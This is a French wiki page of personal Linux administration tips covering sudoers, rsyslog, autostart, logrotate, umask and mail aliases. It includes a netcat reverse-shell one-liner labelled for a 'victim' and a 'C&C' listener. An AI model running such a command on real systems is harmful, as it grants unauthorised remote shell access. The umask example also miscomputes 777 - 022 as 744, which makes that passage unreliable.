Afficher la pageAnciennes révisionsLiens de retourHaut de page Cette page est en lecture seule. Vous pouvez afficher le texte source, mais ne pourrez pas le modifier. Contactez votre administrateur si vous pensez qu'il s'agit d'une erreur. ====== Trucs & Astuces avec Linux ====== * [[https://opensource.com/article/18/11/udev|An introduction to Udev: The Linux subsystem for managing device events]] * [[https://github.com/imthenachoman/How-To-Secure-A-Linux-Server]] * [[https://www.tartarefr.eu/creation-dune-cle-usb-multiboot-bios-et-uefi/]] * [https://www.bloglibre.net/2019/05/30/decalage-horaire-entre-windows-et-linux-en-dual-boot/]] * [[https://blog.hedilenoir.com/index.php/2019/09/12/tuto-proteger-avec-un-mot-de-passe-lacces-au-grub/]] * [[https://www.it-connect.fr/debian-10-et-secure-boot-comment-sadapter-au-demarrage-securise/]] * [[https://korben.info/une-commande-pour-retrouver-en-clair-le-mot-de-passe-dun-reseau-wifi.html]] * [[http://user.oc-static.com/pdf/319961-les-acl-access-control-lists-sous-linux.pdf]] * [[http://wiki.linuxwall.info/doku.php/fr:ressources:dossiers:networking:qos_traffic_control|QOS sous Linux avec TC]] * [[https://www.codeblueprint.co.uk/2019/12/23/linux-preemption-latency-throughput.html|Linux kernel preemption and the latency-throughput tradeoff]] * [[https://www.linuxembedded.fr/2019/03/les-secrets-du-traceur-ebpf/|Les secrets du traceur eBPF]] * [[https://fr.wikipedia.org/wiki/Magic_SysRq_key]] * [[linux:strace|Fonction strace]] * [[linux:pihole|PiHole]] * [[linux:service|Services]] * [[linux:tmux|Tmux]] * [[linux:apt|APT]] * [[linux:commands|Commandes]] * [[linux:i3|I3]] * [[linux:fonts|Polices]] * [[linux:btrfs|BTRFS]] * [[linux:debian-upgrade|Montée en version de Debian]] * [[linux:postfix|Envoi de mails avec Postfix]] * [[linux:disks_partitions|Disques, partitions, systèmes de fichiers...]] * [[linux:video_acquisition|Acquisition vidéo]] * [[linux:reduce_boot_time|Réduire la durée du démarrage]] * [[linux:create_debian_package|Créer un paquet Debian]] * [[linux:lfs|Linux From Scratch]] * [[linux:sysctl|Modifier les paramètres du noyau]] * [[linux:modules|Modules noyau]] * [[linux:frequencies|Fréquences matérielles]] * [[linux:grub|GRUB]] * [[linux:pdf|PDF]] * [[linux:images|Images]] * [[rpi:accueil|Raspberry Pi]] * [[:makefile|Makefile]] * [[linux:material|Matériel]] * [[linux:xfce|XFCE]] * [[linux:ffmpeg|ffmpeg]] * [[avx|Instructions AVX]] * [[linux:forgotten_softwares|Logiciels dont j'oublie le nom]] * [[linux:cmus|cmus]] * [[linux:printers-scanners|Imprimantes & scanner]] ==== Changer l'éditeur par défaut (pour éditer les cron) ==== [[https://askubuntu.com/questions/55022/changing-default-crontab-editor|Source]] <code bash>select-editor</code> ==== Corriger le problème d'un ordinateur qui ne veut pas s'éteindre ==== Ne s'éteint pas après le message //Will shutdown now !// Editer le fichier ''/etc/default/grub'', et adapter la ligne: <code bash> GRUB_CMDLINE_LINUX_DEFAULT="quiet reboot=pci" </code> ==== Vérifier des checksums ==== Notamment de l'installation de Debian. [[https://linuxconfig.org/how-to-verify-an-authenticity-of-downloaded-debian-iso-images|Source]] Télécharger une image de Debian, monter l'archive, se placer dans le dossier: <code bash> md5sum -c md5sum.txt 2> /dev/null | grep -v Réussi </code> Cette commande ne doit rien afficher. ==== Sudo ==== === Ajouter un utilisateur aux sudoers === [[https://askubuntu.com/questions/7477/how-can-i-add-a-new-user-as-sudoer-using-the-command-line|Source]] <code bash> sudo adduser <username> sudo </code> Il faut que le groupe ''sudo'' existe et que la ligne suivante existe bien dans le fichier (à changer avec la commande ''visudo''). <code conf /etc/sudoers> %sudo ALL=(ALL:ALL) ALL </code> === Exécuter une commande avec un autre utilisateur === <code bash> sudo -u $user $command </code> === Permettre de n'exécuter que certaines commandes === [[https://kifarunix.com/run-only-specific-commands-with-sudo-in-linux/|Source]] Permettre à l'utilisateur ''student'' de lancer les commandes ''service mariadb start'' et ''service nginx start'' avec ''sudo'', sans avoir besoin de saisir de mot de passe (éditer cette configuration avec la commande ''visudo'') : <code> student ALL=(ALL) NOPASSWD: /usr/sbin/service mariadb start,/usr/sbin/service nginx start </code> ==== Lister tous les utilisateurs d'un système ==== Liste aussi les utilisateurs LDAP, par exemple. <code bash> getent passwd </code> Lister tous les membres appartenant à un groupe ([[https://linuxhandbook.com/list-users-in-group-linux/|source]]) : <code bash> getent group $group </code> ==== Envoyer tous les logs vers une autre machine ==== <file conf /etc/rsyslog.conf> *.* @ip:port </file> Envoie tous les logs en UDP vers la machine spécifiée. Deux arobases envoie en TCP. Relancer le service ''rsyslog''. ==== Faire un reverse shell ==== [[http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet|Source]] Sur la victime: <code bash> nc -e /bin/sh 172.21.30.2 1026 </code> Sur le C&C: <code bash> nc -l 1026 </code> ==== Ajouter le Terminal à un dock Docky ==== [[https://bugs.launchpad.net/docky/+bug/1587481/comments/7|Source]] Faire glisser l'icône du Terminal du dossier ''/usr/share/applications'' dans le dock. ==== Garder un processus actif après la déconnexion ==== <code bash> nohup mon_programme > out.file & </code> ==== Fenêtre de VLC dont les menus sont trop gros ==== [[https://ubuntuforums.org/showthread.php?t=2390362&s=73f320884a0769d57655e477be2981ac&p=13760709#post13760709|Source]] Créer le fichier ''/etc/profile.d/gnome-qt.sh'' avec le contenu suivant: <file sh /etc/profile.d/gnome-qt.sh> export QT_AUTO_SCREEN_SCALE_FACTOR=0 </file> Fonctionne aussi avec le fichier ''/etc/environment'': <file sh /etc/environment> QT_AUTO_SCREEN_SCALE_FACTOR=0 </file> ==== Démarrer un programme au lancement du système ==== === xdg autostart === [[https://askubuntu.com/questions/48321/how-do-i-start-applications-automatically-on-login|Source]] <file bash /etc/xdg/autostart/myprogram.desktop> [Desktop Entry] Name=foo Terminal=false Exec=/path/shell.sh Type=Application Icon=/path/icon.png Categories=Utility; </file> ==== Changer l'heure du système ==== <code bash> sudo date -s "Dec 10 17:45:49" </code> ==== Connaître la date de démarrage d'un processus ==== [[https://stackoverflow.com/questions/5731234/how-to-get-the-start-time-of-a-long-running-linux-process|Source]] <code bash> ps -eo pid,lstart,cmd </code> Sinon ajouter la colonne qui va bien dans htop. ==== Arrêter et redémarrer sans sudo ==== [[https://www.reddit.com/r/i3wm/comments/6zgbgy/suspending_with_polybar/|Source]] <code bash> systemctl poweroff systemctl reboot </code> ==== Avoir un aperçu des caractéristiques de son PC ==== Avec le commande ''screenfetch'', fourni par le paquet éponyme. ==== Éditer les éléments dans le Gnome Shell ==== Installer le paquet ''alacarte'' et utiliser l'application //Menu principal//. ==== Télécharger un torrent en ligne de commandes ==== [[https://www.maketecheasier.com/how-to-download-torrents-from-the-command-line-in-ubuntu/|Source]] Installer le paquet ''transmission-cli''. <code bash> transmission-cli <fichier torrent> </code> L'option ''-w'' permet de spécifier le dossier où sera sauvegardé le fichier téléchargé. Par défaut, c'est dans le dossier ''~/Downloads''. ==== Connaître les dépendances d'un binaire ==== Connaître les bibliothèques dynamiques directement liée (pas récursif): <code bash> readelf -d <binaire> </code> Connaître toutes les bibliothèques dynamiques: <code bash> ldd <binaire> </code> Voir [[https://github.com/ncopa/lddtree/blob/master/lddtree.sh]] pour un affichage récursif. ==== Splashscreen de démarrage ==== * [[https://tuxicoman.jesuislibre.net/2019/05/ecran-de-demarrage-graphique-avec-plymouth-sur-debian.html]] * [[https://wiki.debian.org/fr/plymouth]] * [[https://joekuan.wordpress.com/2010/08/05/plymouth-create-your-own-splash-screen-with-scrolling-boot-messages/]] ==== X11 ==== === Wayland ou X11 ? === [[https://unix.stackexchange.com/questions/202891/how-to-know-whether-wayland-or-x11-is-being-used|Source]] <code bash> echo $XDG_SESSION_TYPE </code> === Désactiver la mise en veille de l'écran === [[https://www.debian-fr.org/t/empecher-la-mise-en-veille-de-lecran-ou-la-regler/33029|Source]] Deux éléments peuvent gérer la mise en veille de l'écran : - l'environnement de bureau - le serveur X11 Pour connaître la configuration de X11 : <code bash> xset q </code> Pour désactiver la mise en veille : <code bash> xset s off </code> Il peut aussi être nécessaire de désactiver la gestion de l'énergie : <code bash> xset -dpms </code> ==== Se débarrasser de tracker-miner ==== * [[https://www.linuxuprising.com/2019/07/how-to-completely-disable-tracker.html]] * [[https://www.jbnet.fr/systeme/linux/gnome-desactiver-tracker.html]] <code bash> # Savoir si le tracker est actif: tracker daemon -t # Essayer de supprimer, si ça n'entraîne pas une cascade de suppressions... sudo apt remove tracker tracker-extract tracker-miner-fs # Sinon, juste désactiver les services (pas en root !): systemctl --user mask tracker-store.service tracker-miner-fs.service tracker-miner-rss.service tracker-extract.service tracker-miner-apps.service tracker-writeback.service # Supprimer la base de données d'indexation: tracker reset --hard </code> ==== Nemo ==== === Changer le terminal === [[https://unix.stackexchange.com/questions/336368/how-to-configure-nemos-right-click-open-in-terminal-to-launch-gnome-terminal]] <code bash> gsettings set org.cinnamon.desktop.default-applications.terminal exec terminator </code> === Explorer les périphériques MTP === * [[https://wiki.debian.org/mtp|Documentation de Debian]] * [[https://cbiot.fr/dokuwiki/php-bash:samsung]] Installer le paquet ''gvfs-backends''. Si avec gvfs-backends il n'est pas possible d'écrire, il est possible d'installer ''jmtpfs'', puis monter le périphérique dans un dossier dédié : <code bash> jmtpfs /chemin/vers/le/dossier/de/montage </code> ==== Changer la langue d'une commande ==== * [[https://askubuntu.com/questions/79319/how-to-change-language-of-a-specific-application]] * [[https://www.gnu.org/savannah-checkouts/gnu/gettext/manual/html_node/Locale-Environment-Variables.html]] On peut connaître les langues disponibles avec la commande: <code bash> locale -a </code> Puis positionner la variable ''LANGUAGE'': <code bash> LANGUAGE=en_US lscpu </code> ==== Changer le shell d'un utilisateur ==== Si ''chsh'' ne fonctionne pas ([[https://unix.stackexchange.com/questions/39881/running-chsh-does-not-change-shell/39882|source]]): <code bash> sudo usermod -s /bin/zsh philippe </code> ==== Autocomplétion dans le terminal ==== * [[https://iridakos.com/programming/2018/03/01/bash-programmable-completion-tutorial]] * [[https://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html#Programmable-Completion-Builtins]] * [[https://unix.stackexchange.com/questions/417054/automatically-generate-zsh-bash-completion-files]] ==== Émettre un bip ==== Utiliser le programme ''beep'', ou bien: <code bash> echo -ne '\007' </code> ==== zRAM ==== Permet de réserver une partie de la RAM pour être utilisée comme swap. * [[https://www.linuxtricks.fr/wiki/zram-compresser-la-ram-au-lieu-de-swapper-sur-linux]] ==== Re-détecter les périphériques ==== === Périphériques PCI === Notamment quand on rebranche un dock ([[https://superuser.com/questions/1046928/thunderbolt-hotplugging-in-ubuntu-linux|source]]): <code bash> echo "1" | sudo tee /sys/bus/pci/rescan > /dev/null </code> === Périphériques audio === Quand par exemple des enceintes branchées en jack sont mises sous tension après le démarrage de l'ordinateur (sous Pulseaudio, [[https://superuser.com/questions/845645/pulseaudio-how-to-rescan-audio-devices|source]]) : <code bash> pacmd unload-module module-udev-detect && pacmd load-module module-udev-detect </code> ==== Créer un utilisateur qui ne se connecte pas ==== Qui ne peut se connecter et qui n'a pas de dossier ''/home/'' ([[https://askubuntu.com/questions/29359/how-to-add-a-user-without-home|Source]]) : <code bash> useradd -r -s /usr/sbin/nologin nfs-client </code> ==== Logrotate ==== * [[https://les-enovateurs.com/logrotate-ajout-test-configuration-rotation-logs/]] Créer les fichiers de configuration dans ''/etc/logrotate.d/'' : <code> /data/rpi/logs/*.log { rotate 5 compress size 1M missingok notifempty delaycompress } </code> Pour debugger, voir ce que logrotate ferait : <code bash> logrotate -d /etc/logrotate.d/rpi </code> L'option ''-f'' force la rotation, même si les conditions requises pour faire une rotation ne sont pas satisfaites. ==== umask ==== Comme commande shell, ''umask'' affiche le umask actuellement utilisé ; ''umask -S'' l'affiche avec des symboles plus explicites que la valeur octale. Si une valeur est donnée en paramètre, cette nouvelle valeur est utilisée comme masque. Interprétation de la valeur : il s'agit des bits qui sont retirés à tous les bits activés pour obtenir le masque avec lequel les fichiers et dossiers vont être créés. Par exemple : * ''077'' : ''777 - 077 = 700'', donc les droits utilisés seront ''%%rwx------%%'' ; * ''022'' : ''777 - 022 = 744'', donc les droits utilisés seront ''rwxr-xr-x''. ==== Alias mails ==== Le fichier ''/etc/aliases'' définit quels sont les alias mails des utilisateurs, et où il faut faire suivre les mails reçus sur ces aliases : <code> root: user, abc@foo.bar </code> Tous les mails adressés à ''root'' seront transmis à l'utilisateur ''user'' et à l'adresse ''abc@foo.bar''. Après avoir modifié le fichier ''/etc/aliases'', il faut lancer la commande ''newaliases'' ([[https://unix.stackexchange.com/questions/65013/understanding-etc-aliases-and-what-it-does|source]]). linux/accueil.txt Dernière modification : 2025/03/05 12:12de phsw